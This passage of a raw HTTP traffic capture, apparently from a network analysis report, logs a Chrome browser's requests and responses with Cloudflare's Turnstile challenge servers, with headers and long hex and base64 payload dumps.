sAGralzcTgkXIgl4D1pRlEnK65ESMv6BCF7xOGPxklFZmOxDMvH17wiQYbBHSTaF9yOJ8VAEojmw/4$/YWcFn4uwrr7L1evX1gtIQ== Server: cloudflare CF-RAY: 934712a41c32533d-LAX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:33 UTC	278	IN	Data Raw: 76 4a 65 51 73 34 6e 42 65 48 2b 61 6b 61 46 2b 6e 6f 4b 30 74 5a 32 57 72 62 75 64 71 70 6e 49 72 4d 43 64 74 64 53 33 69 38 2f 55 31 62 50 55 75 73 79 39 31 70 75 61 35 4e 54 46 32 72 61 38 32 75 7a 4c 33 38 79 71 38 74 71 74 37 74 54 4c 77 66 44 58 37 4e 69 33 79 4e 4d 41 76 38 7a 54 41 74 6a 36 35 41 6e 78 41 76 30 41 36 66 6a 4d 79 67 72 50 34 78 50 38 38 2f 37 30 30 68 66 37 47 52 63 53 32 78 63 43 44 51 49 52 34 68 76 75 4a 66 77 6a 39 43 67 6d 34 77 41 6e 45 75 6b 53 49 6a 49 41 39 54 50 75 42 50 6b 37 4a 77 30 39 50 68 58 37 46 42 34 77 41 45 55 47 43 51 49 37 47 54 6f 4c 48 30 34 39 42 41 77 4f 55 45 45 34 49 53 77 5a 50 44 77 71 55 54 39 41 47 6b 4e 45 51 45 49 65 55 31 4e 41 49 30 45 65 4f 6a 39 63 4b 47 59 76 50 32 70 53 62 58 67 7a 59 32 4d Data Ascii: vJeQs4nBeH+akaF+noK0tZ2WrbudqpnIrMCdtdS3i8/U1bPUusy91pua5NTF2ra82uzL38yq8tqt7tTLwfDX7Ni3yNMAv8zTAtj65AnxAv0A6fjMygrP4xP88/700hf7GRcS2xcCDQIR4hvuJfwj9Cgm4wAnEukSIjIA9TPuBPk7Jw09PhX7FB4wAEUGCQI7GToLH049BAwOUEE4ISwZPDwqUT9AGkNEQEIeU1NAI0EeOj9cKGYvP2pSbXgzY2M
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 4f 45 6a 48 64 72 53 49 4b 55 59 4a 4b 4e 54 6e 43 58 59 35 52 7a 66 70 39 33 57 34 78 38 57 36 4b 58 63 6e 31 6e 68 57 6c 34 72 4b 35 33 70 59 31 71 62 71 75 54 6b 33 4b 4e 6f 35 64 32 64 4b 57 79 6b 36 71 4d 72 70 62 41 66 4b 57 44 6e 72 61 46 73 70 32 2b 78 73 4b 34 7a 49 69 6c 70 34 32 6c 6a 39 43 35 6c 4e 71 57 6c 4e 66 53 6d 35 6a 4b 76 71 4c 6b 74 62 54 6b 76 4b 48 6c 33 61 58 46 78 4b 58 42 7a 71 72 6a 30 2b 6d 2f 34 75 4c 6d 73 38 2b 75 79 73 76 73 74 37 76 2b 7a 37 62 68 33 37 33 70 31 4f 49 4c 33 2f 77 42 41 41 63 49 35 64 4c 70 44 4d 6a 6e 38 74 66 78 2f 4e 7a 79 45 43 44 61 44 2f 58 61 34 2b 48 31 43 66 76 6f 46 77 6f 66 36 41 6b 41 49 52 49 46 2f 43 63 7a 49 79 7a 32 44 79 34 7a 44 68 50 39 44 42 34 50 45 42 6f 62 49 68 6f 53 49 55 4e 4d 42 Data Ascii: OEjHdrSIKUYJKNTnCXY5Rzfp93W4x8W6KXcn1nhWl4rK53pY1qbquTk3KNo5d2dKWyk6qMrpbAfKWDnraFsp2+xsK4zIilp42lj9C5lNqWlNfSm5jKvqLktbTkvKHl3aXFxKXBzqrj0+m/4uLms8+uysvst7v+z7bh373p1OIL3/wBAAcI5dLpDMjn8tfx/NzyECDaD/Xa4+H1CfvoFwof6AkAIRIF/CczIyz2Dy4zDhP9DB4PEBobIhoSIUNMB
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 4c 54 46 4b 54 6b 47 64 54 6c 6c 70 6e 57 5a 75 41 63 32 47 65 67 6f 31 64 6f 49 64 6d 59 61 53 66 61 6d 57 6f 6f 47 35 70 72 4b 4e 79 62 62 43 6b 64 6e 47 30 71 58 70 31 75 4c 70 2b 65 62 79 2f 6d 4b 36 50 70 61 53 46 6f 5a 61 6e 78 4c 2b 6f 6b 49 36 4b 6f 61 6a 47 31 64 43 58 71 4e 62 57 6b 71 79 6e 71 4e 4f 34 77 62 53 74 73 38 61 6a 79 62 47 2f 36 37 7a 4c 71 38 44 44 73 4d 37 47 73 63 58 6c 73 65 72 61 32 2b 66 4c 33 50 50 58 2f 65 37 68 33 63 54 46 76 77 48 38 41 63 63 47 41 39 37 4e 39 2f 6f 4f 46 4f 50 77 31 51 4c 52 34 52 41 4c 42 76 45 53 39 68 51 66 2f 67 33 63 33 64 73 61 47 67 4d 47 2b 79 6b 46 36 44 41 46 36 52 73 42 48 69 67 6a 4e 2f 45 4a 47 44 49 31 4d 7a 49 63 4c 43 44 35 4e 6a 4d 6a 4f 6b 46 48 50 30 51 63 4a 55 70 4b 52 45 59 4e 44 41 Data Ascii: LTFKTkGdTllpnWZuAc2Gego1doIdmYaSfamWooG5prKNybbCkdnG0qXp1uLp+eby/mK6PpaSFoZanxL+okI6KoajG1dCXqNbWkqynqNO4wbSts8ajybG/67zLq8DDsM7GscXlsera2+fL3PPX/e7h3cTFvwH8AccGA97N9/oOFOPw1QLR4RALBvES9hQf/g3c3dsaGgMG+ykF6DAF6RsBHigjN/EJGDI1MzIcLCD5NjMjOkFHP0QcJUpKREYNDA
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 69 6e 65 4f 68 56 43 63 65 47 70 31 6b 6f 4e 78 63 58 4b 6a 5a 33 4b 58 70 48 79 6f 66 4c 43 51 6f 6f 69 72 6c 72 57 57 70 61 52 77 70 37 32 70 6d 62 53 4b 77 72 69 72 76 5a 57 6d 6b 36 47 70 77 37 53 35 68 4b 4f 59 6e 38 4f 66 74 4a 36 54 6c 63 71 74 6b 4c 75 54 73 36 6d 51 34 4a 76 50 72 36 4c 5a 76 5a 69 35 77 71 66 46 31 71 72 6f 32 36 69 76 37 73 6e 72 72 75 47 7a 36 73 2f 71 30 4f 37 4d 74 2f 62 38 75 76 37 32 38 4e 62 62 41 64 6e 6c 31 74 2f 68 34 51 2f 35 36 2b 55 54 33 76 7a 79 36 41 45 4a 41 75 59 59 45 2b 30 5a 31 4e 7a 38 2f 42 49 46 2b 76 4c 76 38 51 58 69 42 50 6b 4b 2b 66 34 42 43 2f 6f 7a 4c 77 66 75 37 69 6b 77 38 52 4c 36 43 42 55 35 48 76 59 76 4f 42 6b 50 51 30 51 47 46 53 46 47 43 42 55 72 47 42 31 44 54 79 67 2b 4d 42 35 58 47 44 45 Data Ascii: ineOhVCceGp1koNxcXKjZ3KXpHyofLCQooirlrWWpaRwp72pmbSKwrirvZWmk6Gpw7S5hKOYn8OftJ6TlcqtkLuTs6mQ4JvPr6LZvZi5wqfF1qro26iv7snrruGz6s/q0O7Mt/b8uv728NbbAdnl1t/h4Q/56+UT3vzy6AEJAuYYE+0Z1Nz8/BIF+vLv8QXiBPkK+f4BC/ozLwfu7ikw8RL6CBU5HvYvOBkPQ0QGFSFGCBUrGB1DTyg+MB5XGDE
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 71 42 38 6f 6f 39 67 6d 70 71 65 59 49 56 38 59 36 4f 67 70 48 70 2b 6e 36 75 78 71 59 32 67 6d 59 4f 74 6e 4a 75 35 65 6e 78 35 74 4c 71 76 6b 59 57 37 70 72 2f 42 6d 38 47 4d 68 37 79 4e 71 5a 6e 53 73 4c 53 32 71 70 2b 79 70 73 58 4f 73 4b 69 30 31 74 62 69 71 38 75 38 31 37 53 6d 71 4e 48 70 6e 62 53 33 35 73 4c 4c 33 4d 75 6c 36 2b 66 72 30 37 62 36 35 37 50 4b 75 2b 37 72 37 64 48 59 7a 64 2f 65 32 67 48 70 32 4e 6e 36 2b 4f 6e 41 42 51 33 48 33 51 63 55 31 4d 77 4a 30 73 2f 74 32 39 7a 37 43 66 63 4c 48 42 6e 34 44 75 49 57 49 52 51 49 41 68 38 4a 44 51 6f 65 4b 52 4d 47 4a 42 51 44 49 41 4d 31 47 79 30 79 4e 4f 38 78 4e 43 6b 4f 47 55 55 43 4e 54 46 42 4d 67 59 4c 43 6b 73 57 41 54 6b 50 4c 41 6b 39 54 6b 38 6c 56 6a 5a 4e 4d 54 64 62 46 52 78 41 Data Ascii: qB8oo9gmpqeYIV8Y6OgpHp+n6uxqY2gmYOtnJu5enx5tLqvkYW7pr/Bm8GMh7yNqZnSsLS2qp+ypsXOsKi01tbiq8u817SmqNHpnbS35sLL3Mul6+fr07b657PKu+7r7dHYzd/e2gHp2Nn6+OnABQ3H3QcU1MwJ0s/t29z7CfcLHBn4DuIWIRQIAh8JDQoeKRMGJBQDIAM1Gy0yNO8xNCkOGUUCNTFBMgYLCksWATkPLAk9Tk8lVjZNMTdbFRxA
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 61 6f 6f 6d 53 68 59 6d 70 6f 6f 49 46 78 69 49 4f 6b 71 71 71 69 71 61 36 32 6b 61 36 7a 74 58 75 77 74 72 39 37 78 4c 4b 7a 77 37 69 2b 66 4a 57 35 77 38 36 62 76 4d 62 47 71 38 53 50 7a 59 33 45 75 4e 4b 75 79 4e 50 61 74 39 43 77 32 61 48 51 74 62 4c 50 78 2b 57 31 77 73 69 6a 78 4d 69 34 77 65 4c 78 77 76 61 2f 2b 4e 6a 72 37 50 44 4f 35 65 76 4b 38 64 4c 59 41 39 72 53 32 2b 4c 36 79 4d 44 46 79 63 72 39 2f 4d 4c 49 2b 75 6f 4a 78 2b 6f 56 30 64 62 72 47 66 6f 64 31 42 33 2b 49 75 30 68 41 79 62 67 4a 51 63 71 35 53 73 6e 2b 68 41 4c 49 2f 41 49 43 69 6b 4c 42 76 45 79 47 44 67 36 4b 6a 62 34 2f 69 72 34 45 53 44 39 47 6a 6b 55 4b 69 55 2b 50 68 59 39 51 55 49 70 43 6b 64 47 55 31 46 4c 53 6c 59 61 54 30 35 61 53 7a 31 67 50 69 38 64 4d 78 78 50 51 Data Ascii: aoomShYmpooIFxiIOkqqqiqa62ka6ztXuwtr97xLKzw7i+fJW5w86bvMbGq8SPzY3EuNKuyNPat9Cw2aHQtbLPx+W1wsijxMi4weLxwva/+Njr7PDO5evK8dLYA9rS2+L6yMDFycr9/MLI+uoJx+oV0dbrGfod1B3+Iu0hAybgJQcq5Ssn+hALI/AICikLBvEyGDg6Kjb4/ir4ESD9GjkUKiU+PhY9QUIpCkdGU1FLSlYaT05aSz1gPi8dMxxPQ
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 59 67 6f 32 6d 63 58 46 38 64 48 57 67 6d 4c 46 77 70 4c 46 32 66 71 69 51 6c 34 4b 73 6c 37 47 47 73 4a 75 36 6d 4d 6d 70 77 4b 53 71 7a 6f 69 50 73 34 76 43 77 74 4b 30 7a 74 4f 53 32 74 75 6e 32 4c 66 43 34 37 75 66 30 4d 43 66 32 4d 6e 46 33 2b 6a 4c 78 72 71 2b 79 38 75 39 30 74 33 51 72 62 48 68 31 4b 32 38 35 73 2f 62 33 2b 76 37 33 41 44 67 41 73 48 6f 34 77 6e 2b 32 2f 77 42 2f 65 4c 6f 44 51 50 6d 42 68 4c 6b 31 2f 63 4a 44 4d 34 58 36 68 4c 70 32 51 4c 79 45 74 38 56 39 41 66 6c 46 76 58 33 39 51 37 68 34 67 72 36 42 41 54 39 2f 67 45 42 41 6a 59 76 45 53 59 77 4c 54 30 7a 45 54 59 30 42 69 59 58 4e 67 51 35 47 53 73 4b 4f 68 67 44 43 45 77 50 48 6c 4d 57 55 77 39 49 54 53 6b 35 50 42 59 31 54 6a 6c 64 4a 43 31 51 55 57 4e 54 58 7a 52 4c 56 56 Data Ascii: Ygo2mcXF8dHWgmLFwpLF2fqiQl4Ksl7GGsJu6mMmpwKSqzoiPs4vCwtK0ztOS2tun2LfC47uf0MCf2MnF3+jLxrq+y8u90t3QrbHh1K285s/b3+v73ADgAsHo4wn+2/wB/eLoDQPmBhLk1/cJDM4X6hLp2QLyEt8V9AflFvX39Q7h4gr6BAT9/gEBAjYvESYwLT0zETY0BiYXNgQ5GSsKOhgDCEwPHlMWUw9ITSk5PBY1TjldJC1QUWNTXzRLVV
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 6f 4b 71 70 74 4c 53 75 72 62 69 53 73 72 47 41 72 4c 61 31 68 4d 43 36 75 59 65 4a 76 72 32 4d 6f 73 4c 42 6a 37 7a 47 78 5a 50 4f 71 4e 4f 57 79 4b 6a 59 32 62 58 62 33 64 69 79 7a 74 2f 63 33 4a 2f 6a 32 65 4c 49 35 2b 66 6c 71 2f 44 6c 33 4c 2f 62 37 61 33 53 30 38 58 6e 35 37 48 4a 36 39 61 37 2b 74 62 4b 77 41 62 63 35 50 4c 47 41 75 6e 4a 36 65 76 6d 33 4f 6b 4f 41 77 4c 31 37 66 51 4f 30 77 54 61 43 75 55 4c 32 77 45 57 45 65 76 72 45 67 38 47 34 67 55 64 34 50 4d 6b 44 2b 7a 72 45 43 66 79 4b 50 41 4e 37 4f 37 32 4a 78 6f 39 2f 42 6e 31 39 79 30 57 2b 44 46 44 47 43 55 30 2b 69 63 4a 4a 44 70 50 42 67 67 39 4a 78 35 42 55 79 67 31 52 41 73 33 47 54 52 4c 58 78 59 59 54 54 64 43 55 57 4d 34 52 56 51 62 52 79 6c 45 53 6c 38 6d 4b 46 31 48 58 47 46 Data Ascii: oKqptLSurbiSsrGArLa1hMC6uYeJvr2MosLBj7zGxZPOqNOWyKjY2bXb3diyzt/c3J/j2eLI5+flq/Dl3L/b7a3S08Xn57HJ69a7+tbKwAbc5PLGAunJ6evm3OkOAwL17fQO0wTaCuUL2wEWEevrEg8G4gUd4PMkD+zrECfyKPAN7O72Jxo9/Bn19y0W+DFDGCU0+icJJDpPBgg9Jx5BUyg1RAs3GTRLXxYYTTdCUWM4RVQbRylESl8mKF1HXGF
2025-04-22 18:09:33 UTC	1369	IN	Data Raw: 4c 71 50 6e 4b 75 32 6e 59 2b 79 6a 36 61 34 70 37 4f 6b 69 6f 58 4d 75 49 62 47 70 35 71 4d 6a 4b 71 65 74 62 54 50 73 63 6d 6b 78 5a 71 70 72 4e 33 55 31 4d 2f 57 76 4c 6d 6e 34 39 62 5a 78 63 75 73 75 4f 4c 6c 37 75 58 66 71 38 6a 47 74 38 33 59 36 39 4b 32 76 4d 6a 79 39 66 37 31 37 37 76 56 33 73 66 64 36 50 76 6a 78 73 7a 59 41 77 59 50 42 67 44 4c 35 65 4c 58 37 66 67 4d 2b 4e 62 63 36 42 4d 57 48 78 59 51 2b 50 48 68 41 69 63 66 2b 75 6b 59 35 51 6f 43 43 41 30 51 37 75 77 78 37 41 41 77 47 2f 6a 33 48 43 38 4a 4c 53 70 43 48 42 64 43 48 6b 45 6a 4d 6a 73 43 42 44 6b 6a 4a 6a 31 50 4a 44 46 41 42 7a 4d 53 56 6b 34 54 50 42 4d 35 47 52 39 53 47 6a 34 69 4a 44 70 46 57 45 51 6a 4b 54 56 66 59 6d 59 38 4f 56 46 4b 4c 46 56 44 52 56 63 75 5a 44 6c 77 Data Ascii: LqPnKu2nY+yj6a4p7OkioXMuIbGp5qMjKqetbTPscmkxZqprN3U1M/WvLmn49bZxcusuOLl7uXfq8jGt83Y69K2vMjy9f7177vV3sfd6PvjxszYAwYPBgDL5eLX7fgM+Nbc6BMWHxYQ+PHhAicf+ukY5QoCCA0Q7uwx7AAwG/j3HC8JLSpCHBdCHkEjMjsCBDkjJj1PJDFABzMSVk4TPBM5GR9SGj4iJDpFWEQjKTVfYmY8OVFKLFVDRVcuZDlw

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:33 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:34 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 22 Apr 2025 18:09:34 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 21TYpiM+cCFHWy9kOWpTnhRGUg9+DFFldAB/tpUWWxONkbplh4N355Vl70SAKvyhoFHre2HWPmernBhVxslRMQ==$QZdTVR0tJs+3ITj2asAPtQ== Server: cloudflare CF-RAY: 934712abec59ef7a-LAX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:34 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:34 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9347129aedd47867/1745345372985/gzvwzGa4n3Xejo2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:34 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:34 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 934712ae6ea9f208-LAX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:34 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 08 00 00 00 37 08 02 00 00 00 be 41 9c a4 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7AIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:35 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9347129aedd47867/1745345372985/gzvwzGa4n3Xejo2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:35 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:35 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 934712b488df52d1-LAX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:35 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 08 00 00 00 37 08 02 00 00 00 be 41 9c a4 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7AIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:36 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/9347129aedd47867/1745345372998/44b1c9588821fa26dc5b3e90057b5f72958d436c1198084fcbadb50f4e48ad7f/zx8HFHjwaLhTuip HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:37 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 22 Apr 2025 18:09:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-04-22 18:09:37 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 52 4c 48 4a 57 49 67 68 2d 69 62 63 57 7a 36 51 42 58 74 66 63 70 57 4e 51 32 77 52 6d 41 68 50 79 36 32 31 44 30 35 49 72 58 38 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gRLHJWIgh-ibcWz6QBXtfcpWNQ2wRmAhPy621D05IrX8AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-04-22 18:09:37 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:37 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38323 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:37 UTC	16384	OUT	Data Raw: 51 4c 64 57 54 45 31 2d 78 33 65 67 65 47 2d 6d 48 31 32 45 49 79 33 2d 47 59 45 64 64 6d 4c 31 6f 77 32 6d 51 57 6d 2d 47 31 69 6d 69 59 33 49 36 63 31 58 6d 6e 79 71 4c 79 6d 53 24 6d 36 4b 78 7a 4b 6d 45 6a 79 57 6d 43 39 41 50 2d 79 6d 74 59 31 76 6d 79 79 31 53 6d 52 39 57 75 6f 6d 56 4a 79 31 75 4e 6d 7a 41 6b 6e 71 79 31 65 37 63 6d 76 78 31 71 52 79 33 6e 6d 7a 71 6d 7a 63 67 77 57 33 63 6d 79 48 44 4b 4f 66 67 32 79 6d 4a 6d 41 65 6d 50 71 45 57 63 57 47 6e 6d 47 78 68 64 24 65 4a 63 47 5a 48 67 31 4c 6d 6b 57 47 6d 65 6b 76 79 6d 51 78 57 56 7a 6d 6d 2b 24 59 6d 4a 2b 56 71 64 6d 45 35 67 6d 45 58 63 6f 78 6d 52 48 34 76 49 76 65 57 71 76 49 78 74 49 5a 79 31 7a 59 56 46 24 36 4a 61 4f 54 6e 2d 6d 31 37 63 57 6d 58 70 59 45 76 6d 67 79 75 6d 33 Data Ascii: QLdWTE1-x3egeG-mH12EIy3-GYEddmL1ow2mQWm-G1imiY3I6c1XmnyqLymS$m6KxzKmEjyWmC9AP-ymtY1vmyy1SmR9WuomVJy1uNmzAknqy1e7cmvx1qRy3nmzqmzcgwW3cmyHDKOfg2ymJmAemPqEWcWGnmGxhd$eJcGZHg1LmkWGmekvymQxWVzmm+$YmJ+VqdmE5gmEXcoxmRH4vIveWqvIxtIZy1zYVF$6JaOTn-m17cWmXpYEvmgyum3
2025-04-22 18:09:37 UTC	16384	OUT	Data Raw: 6d 61 61 71 51 6d 68 71 30 6c 37 47 45 6d 65 46 56 6c 66 6f 35 49 50 56 7a 6d 6d 31 65 46 31 34 44 67 78 33 37 43 62 31 6f 74 2b 42 7a 6f 54 75 63 44 46 63 43 35 47 79 39 72 50 46 6f 64 31 73 6e 51 4c 4a 7a 38 46 75 49 69 53 57 59 63 45 76 6c 4c 75 63 4c 67 56 75 6d 64 31 64 76 24 4c 4a 69 37 58 6d 42 42 6d 33 49 6b 6d 53 79 33 53 63 4a 59 24 57 33 31 63 37 67 4e 7a 34 49 59 4f 6d 77 68 69 65 31 58 54 64 68 45 49 68 55 4c 31 63 57 5a 73 66 6d 72 30 4f 66 57 71 6d 74 79 33 68 63 50 6d 32 79 71 31 63 39 30 52 69 4a 7a 59 74 6f 56 7a 42 47 31 69 2d 45 59 71 7a 65 6c 69 71 4b 78 6d 70 48 4f 7a 6d 7a 6f 47 73 56 52 49 32 75 48 43 4b 71 52 6d 6c 63 30 6e 31 79 7a 4a 59 33 44 67 36 7a 45 4a 39 79 6d 4f 79 6a 79 37 57 79 6f 4f 31 79 30 6e 67 48 59 31 70 32 49 76 Data Ascii: maaqQmhq0l7GEmeFVlfo5IPVzmm1eF14Dgx37Cb1ot+BzoTucDFcC5Gy9rPFod1snQLJz8FuIiSWYcEvlLucLgVumd1dv$LJi7XmBBm3IkmSy3ScJY$W31c7gNz4IYOmwhie1XTdhEIhUL1cWZsfmr0OfWqmty3hcPm2yq1c90RiJzYtoVzBG1i-EYqzeliqKxmpHOzmzoGsVRI2uHCKqRmlc0n1yzJY3Dg6zEJ9ymOyjy7WyoO1y0ngHY1p2Iv
2025-04-22 18:09:37 UTC	5555	OUT	Data Raw: 2d 6a 38 51 68 36 72 70 77 41 36 4c 54 2d 4e 77 76 69 73 24 72 33 77 37 69 58 24 72 2d 77 77 41 5a 54 62 74 6a 51 55 44 4b 37 4c 6a 2d 2b 73 31 2d 47 6a 74 2b 70 32 37 79 77 48 2b 58 30 37 4a 77 65 55 44 50 62 6e 6a 37 2b 66 30 37 70 6a 75 2b 34 6f 2d 63 6a 46 71 73 7a 72 63 6a 78 51 44 41 2d 4b 6a 47 51 4a 76 62 56 6d 75 4a 35 65 63 55 75 35 4a 6c 62 41 4c 57 5a 56 79 6b 6b 6d 69 2d 67 79 59 45 32 6f 44 6d 33 69 43 41 24 35 57 52 49 45 72 62 56 64 52 56 79 66 52 44 49 37 63 74 31 41 2b 2d 67 54 4e 51 32 6f 4a 35 69 63 58 24 39 76 72 5a 41 64 24 4b 35 2d 48 79 76 64 78 66 61 37 64 31 6d 35 47 59 75 45 30 6a 57 30 4a 75 24 41 6d 4e 74 70 6f 51 6a 69 46 73 74 69 49 39 57 42 42 32 37 34 4e 7a 4e 49 58 6e 61 79 50 50 57 66 45 2b 53 43 36 74 73 34 43 4b 24 6f Data Ascii: 